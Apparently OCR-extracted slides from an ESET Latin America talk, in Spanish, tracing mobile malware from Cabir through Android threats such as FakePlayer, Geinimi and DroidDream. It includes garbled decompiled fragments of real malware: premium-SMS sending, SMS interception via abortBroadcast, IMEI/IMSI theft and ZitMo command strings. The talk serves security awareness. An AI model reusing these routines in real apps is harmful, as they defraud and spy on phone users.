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¢, Cuando aparecen las amenazas moviles?







Cabir

* Primer codigo malicioso
para dispositivos
moviles.

 Explotaciéon de
vulnerabilidades del

gg% @gﬁw protocolo Bluetooth.

’_- Windows
£ __ Mobile




Troyanos SMS

* Envio de mensajes a
numeros Premium.

TextMessage localTextMessage:! o U ti | iza n I n ge n i e ria

{ localTextlessage = (TextMezssage)( localdhlject = .

{ MessageConnection) Connector. open{ localdhject = S O C I a I .
Tams: ST |+ this.jdField a of type ArrayOfdavalangitring

[this. jdField & of type Int]))

[evessage] "more )  Utilizan tecnologias

ZetPayloadText{thi=s.b[thi=s.jdField a of type Int]}):

{{MessageConnection) localdbhiject) .|send{ localTextMessage) ,:l m a S Iva S y p e rte n e Ce n a
ataques regionales.

public final woid cuni)
{
HezaageConnection localMessageConneckion = null:
try
i
TextHezsage localTextMessage:
(localTextHeszsage = (TextMeszage) (localMeszzagefonnection = (MessageConmectlon)Connector.open(!
localHessageComnection. send{localTextMessage) :
this.jdField & of ctype Ac.a(-l, this,.jdFi=ld a of cype Boolean ? g.ci?l) : z.c(l08), "SHS"):
return:







IKee

o Afecta a teléfonos
liberados mediante el
Jailbreak.

« Propagacion a traveés del
protocolo ssh, clave por
defecto.

e Comandos remotos, red
botnet.
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Zeusy SpyEye
De las computadoras a los moviles.




ZItmo y Spitmo

e Variantes de Zeus y SpyEye
para dispositivos moviles.

e Atentan contra los dobles
factores de autenticacion.

« Recepcion de comandos
--------------------------------------------------------- remotosyrobo de

DCD dword_2B048 ; DATA XREF: sub_DAAC+a4Tr

Version:
1.00(0)

DCD adn : DATA XREF: sub_DA4C+124Tr . g
; "OH" r]’]

DCD a0ff ;: DATA XREF: sub_DA4C+178Tr I n fo r a C I O n .
; "OFF"

DCD aBlockOn ; DATA XREF: sub_DA4C+ICCTr
; "BLOCKE OH"

DCD aBlockOff : DATA XREF: sub_DA4C+228Tr
; "BLOCK OFF™

DCD aSetAdmin_@ ; DATA XREF: sub_DA4C+278Tr
; "SET ADMIH™"

DCD aAddSender : DATA XREF: suh_DnuC+3BBTr
; "ADD SEHDER"

DCD aAddSenderAll : DATA XREF: sub_DA4C+33CTr

; “ADD SEHDER ALL"™
DCD asc_2BOCE ; DATA XREF: sub_DAAC+394Tr







Fake Player
 Primer codigo malicioso para
Android.

e Troyano SMS.

e Oculto dentro de un falso
reproductor de video.




Genimi
e« Contacto con el Centro de

Control de la botnet.

« Roba informacion del
dispositivo.

e Instalacion de accesos
directos.

e« Geolocalizacidn de la
victima.
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DroidDream

« Afectd a mas de
250.000 usuarios.

* Mas de 21 aplicaciones
maliciosas en el Google
e Play (Android Market).

Nl 10 em
i

nr n el pars §
——

TelephonyManager localTelephonyManager = (TelephonyManager)paramContext.g . .
if (localTelephonyManager.gectDeviceId() == null): [ ] ‘ O nVI e rte a | e u I O e n
for (Scring str = "%; ; str = localTelephonyManager.gecDeviceId()

return str:

} parte de una botnety

public static String EgetIHSI[antex; paramContext)

] g
{ roba informacion
TelephonyHanager localTelephonyHanager = (TelephonyHanager) paramContext.c "

if (localTelephonyManager.getSubacriberId() == null);
for (3Jtring str = ""; ; str = localTelephonyManager.gecSubscriberlId())

o « Google realizo el kill
switch.




;POr qué N
que Igg ?




+ 400 M IloNnes de dispositivos

550 M| dispositivos activados por dia. r

LI

+ 450 Mil aplicaciones disponibles

.
> Google play

+ /000 Millones de descargas




Market Share en dispositivos moviles
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Evolucion de malware para Android

FakePlayer FakePLayer.C

Agos Sep

FakePLater.B

DroidSnake

PJAPPS

Geinimi HongTouTou

DroidDream
BgServ
ZeaHace

Walkinwat

JSmsHider GingerMaster

Plankton DroidKungFu.B

YZHCSMS RogueSPPush NickiSpy

BaseBridge NickiBot Roguelemon

DroidKongFu LoveTrap BeanBot

May Jun Jul Agos Sept

AdSms KungFu DroidDeLuxe

Spacem CruseWin Zsone

LightDD GoldDream DroidCoupon

SmsSpy Spy.Spitmo
HippoSMS AnserverBot
Fokonge

GGTracker

CXler

SndApps




Botnets en dispositivos moéviles

MOVIL

Escritorio
Windows Mobile Symbian Blackberry Android

Zeus (ZITMO) Julio 2007 Febrero 2011 Septiembre 2010 | Septiembre 2010 Julio 20M

SpyEye (SPITMOQ) Diciembre 2009 Abril207 Abril2011 Septiembre 2011

(es[=1




¢A qué nos enfrentamos?




public void sendSms

1

private woid startlewlame () fl

1
createMineField(): \
showMineField();
= Ml @ 8:3a PM

int i = this.totallunber0fMines;
thi=s.ninesToFind = 1i;
updateMineCountDhiaplay () ; g*'zf

this.isGanelv o;

hisermeagndsPas = 0;
sendsms () ;
h

H-

String str = getStateVal();
if ("v".equals(str))
return;
SmsManager localSmsManager = SmsManager. getDefault();
Intent localIntent = new Intent();
PendingIntent localPendingIntentl = PendingIntent.getBroadcast(this, 8, localIntent, 8);

e = NOLe,
I localSmsManager. sendTextMessage( " 1866185829, null, "921X2", localPendingIntentl, localPendingIntent2)

savel);




Esta aplicacion puede acceder a los siguientes
mentos del teléfono:

¢Por qué recibe SMS?

fcceiver android:na
<intent-filter
<action and

</intent-filter

</ TECE1VEr=

" .SmsReceiver" android:enabled="true"=

ndrold:priority="181">
id:name="android.provider.Telephony.SM5 RECEIVED" /

W

SmsMessage localSmsMessage2 = array0fSmsMessage[m];

try

r
L

String str

m+= 1-

} L

localsmsMessage2.getDisplayOriginatingAddress();

if (("10086".equals(str}) || ("1066185829".equals({str)]))

abortBroadcast():

catch (Exception localException)

{

while (true)

abortBroadcast();

iCancela la recepcion de SMS!




0%

quieren protegerse...










Contacto

http://blogs.eset-la.com/laboratorio/
http://www.eset-la.com/centro-amenazas

www.facebook.com/ESETLA . @ESETLA

IH www.linkedin.com/company/eset-
latinoamerica

s}




iGracias!




www.eset-la.com




